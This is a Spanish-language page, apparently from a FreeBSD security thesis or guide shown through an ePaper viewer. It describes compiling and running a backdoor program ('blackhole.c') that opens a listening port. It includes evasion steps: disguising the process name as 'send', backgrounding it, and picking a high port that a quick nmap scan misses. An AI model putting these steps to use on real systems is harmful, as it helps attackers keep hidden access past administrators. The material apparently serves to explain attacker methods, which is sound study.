30.10.2014 Views

6LxWgb1Wq

6LxWgb1Wq

6LxWgb1Wq

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

Esta línea define el puerto de funcionamiento, para compilar este programa se<br />

realiza por medio del gcc, es aquí donde se coloca en duda si realmente un<br />

usuario normal necesita alguna vez ejecutar el gcc para compilar algo. El comando<br />

para compilar se mostrará a continuación<br />

freebsd45# gcc blackhole.c -o send<br />

freebsd45#<br />

Como se puede apreciar la opción –o indica el nombre del archivo ejecutable, este<br />

nombre en la mayoría de ocasiones es un nombre común, el cual cuando se vea<br />

en los procesos en ejecución, el administrador sospeche lo menos posible de este<br />

proceso.<br />

Ahora se cambia los permisos del archivo a ejecución y se ejecuta como se ve a<br />

continuación<br />

freebsd45# chmod 700 send<br />

freebsd45# ./send &<br />

[2] 33395<br />

freebsd45#<br />

El programa se ejecuta con un “&” para que corra en segundo plano. Si hacemos<br />

un ps para vigilar los procesos lo podemos ver:<br />

freebsd45# ps -ax<br />

33346 p0 S 0:00.24 -su (csh)<br />

33395 p0 I 0:00.01 ./send<br />

33396 p0 R+ 0:00.00 ps -ax<br />

Ahora tenemos un puerto abierto en un puerto específico (para el ejemplo 30464,<br />

se escoge un numero mas de 1024 ya que una revisión rápida con el nmap no<br />

llega hasta estos puertos tan altos) y explotable desde cualquier máquina en la<br />

subred.<br />

Para ver si el puerto esta abierto utilizamos el nmap, si realizamos un nmap<br />

sencillo:<br />

linux:~ # nmap 10.10.10.82<br />

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )<br />

Interesting ports on (10.10.10.82):<br />

(The 1597 ports scanned but not shown below are in state: closed)<br />

Port State Service<br />

22/tcp open ssh<br />

25/tcp open smtp<br />

80/tcp open http<br />

587/tcp open submission<br />

Nmap run completed -- 1 IP address (1 host up) scanned in 19 seconds<br />

linux:~ #<br />

98

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!